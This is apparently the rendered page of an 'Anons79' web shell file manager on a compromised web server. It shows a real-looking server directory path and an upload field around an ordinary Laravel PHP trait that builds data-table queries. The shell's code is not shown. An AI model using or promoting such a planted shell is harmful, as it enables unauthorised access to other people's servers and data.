Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/talent.gosepakat.id/app/Traits/
Upload File :
Current File : /home/aplikasiposinfo/public_html/talent.gosepakat.id/app/Traits/HasDataTableTrait.php

<?php

namespace App\Traits;

use App\Traits\DataTable\HasFilterTrait;
use App\Traits\DataTable\HasLimitEntriesTrait;
use App\Traits\DataTable\HasRelationsTrait;
use App\Traits\DataTable\HasSearchTrait;
use App\Traits\DataTable\HasSortingTrait;
use Illuminate\Database\Eloquent\Builder as EloquentBuilder;
use Illuminate\Database\Query\Builder as QueryBuilder;

trait HasDataTableTrait
{
    use HasFilterTrait,
        HasLimitEntriesTrait,
        HasRelationsTrait,
        HasSearchTrait,
        HasSortingTrait;

    protected EloquentBuilder|QueryBuilder $query;

    /**
     * Generate the data table query based on the request.
     */
    public function make()
    {
        if (empty($this->query)) {
            throw new \InvalidArgumentException('Query must be set before calling make()');
        }

        if (!in_array($this->type, ['pagination', 'collection'])) {
            throw new \InvalidArgumentException('DataTable type must be pagination or collection');
        }

        $this->relations();
        $this->search();
        $this->filter();
        $this->sort();
        $query = $this->limit();

        if ($this->type === 'pagination') {
            $query->appends(request()->query());
        }

        return $query;
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]